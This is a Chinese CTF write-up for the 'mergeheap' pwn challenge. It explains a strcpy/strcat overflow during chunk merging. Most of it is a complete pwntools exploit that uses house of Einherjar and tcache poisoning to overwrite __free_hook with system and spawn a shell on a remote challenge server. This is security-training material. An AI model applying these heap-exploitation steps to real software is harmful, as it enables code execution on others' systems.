mergeheap

161 篇文章 9 订阅
161 篇文章 9 订阅

mergeheap

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在合并的时候,存在溢出,strcpy、strcat可能会将下一个chunk的size也拷贝过来,从而可以溢出修改下一个chunk的size。

并且,由于merge的时候使用的是strcpy、strcat,遇到\0字符会截断,因此当我们写64位地址数据的时候,需要从最后一个开始写,前面全部用不截断的字符填充。依次从后往前完成64位数据的布置。通过伪造chunk,利用house of Einherjar,形成overlap chunk后,修改tcache bin chunk的next指针,达到任意地址分配。

#coding:utf8
from pwn import *

#sh = process('./mergeheap')
sh = remote('node3.buuoj.cn',29551)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def add(size,content):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('len:',str(size))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('idx:',str(index))

def delete(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('idx:',str(index))

def merge(index1,index2):
   sh.sendlineafter('>>','4')
   sh.sendlineafter('idx1:',str(index1))
   sh.sendlineafter('idx2:',str(index2))

#0
add(0x80,'a'*0x80)
#1~7
for i in range(7):
   add(0x80,'b'*0x80)
#8
add(0x80,'c'*0x80)
#9
add(0x100,'d'*0x100)
#10
add(0x80,'e'*0x80)
#11
add(0x10,'f'*0x10)
#12
add(0x10,'e'*0x10)
delete(12)
delete(11)
#泄露堆地址
add(0,'') #11
show(11)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(0,'') #12
#7个进tcache
for i in range(1,8):
   delete(i)
#得到unsorted bin
delete(0)
#泄露地址
add(0,'') #0
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

####第一次,我们修改size######
#1
add(0x80,'b'*(0x80 - 1) + p8(0x90))
#2
add(0x88,'b'*0x88)
#9放入0x110的tcache bin
delete(9)
#3,合并后,会修改9的size
merge(2,1)
#将chunk8的index换到4来
delete(8)
add(0x80,'c'*0x80) #4

#清空chunk8某处8字节数据
def clearChunk8(offset):
   for i in range(7,-1,-1):
      delete(4)
      add(0x80,'b'*offset + 'b'*i + '\n') #4

def writeChunk8(offset,data):
   delete(4)
   add(0x80,'b'*offset + p64(data)[0:7] + '\n') #4

#清空后一个堆里某处8字节数据
def clearLast(offset):
   for i in range(7,-1,-1):
      #将1、2重新返回tcache bin
      delete(2)
      delete(1)
      #释放0x110的chunk
      delete(3)
      #1
      add(0x80,'b'*offset + 'b'*i + '\n')
      #2
      add(0x88,'b'*0x88)
      #3
      merge(2,1)

def writePrevSize(data):
   #将1、2重新返回tcache bin
   delete(2)
   delete(1)
   #释放0x110的chunk
   delete(3)
   #1
   add(0x80,'b'*(0x80 - 9) + p64(data) + '\n')
   #2
   add(0x88,'b'*0x88)
   #3
   merge(2,1)

####第二次,我们用同样的方法修改prev_size#####
#先清空prev_size处的数据
clearLast(0x80 - 9)
#现在,写prev_size
writePrevSize(0x110 + 0x80)
#我们要在chunk8里伪造一个chunk
#伪造bk
clearChunk8(0x18)
writeChunk8(0x18,heap_addr - 0x250)
#伪造fd
clearChunk8(0x10)
writeChunk8(0x10,heap_addr - 0x250)
#伪造size
clearChunk8(0x8)
writeChunk8(0x8,0x80 + 0x111)
delete(1)
delete(2)
#unsorted bin合并,形成overlap chunk
delete(10)
#0x110的chunk放入tcache bin
delete(3)
#1
add(0x70,'c'*0x70)
#与0x110的chunk重合
add(0x70,p64(free_hook_addr) + '\n')
add(0x100,'/bin/sh\x00\n') #2
#申请到free_hook处
add(0x100,p64(system_addr) + '\n')
#getshell
delete(2)

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值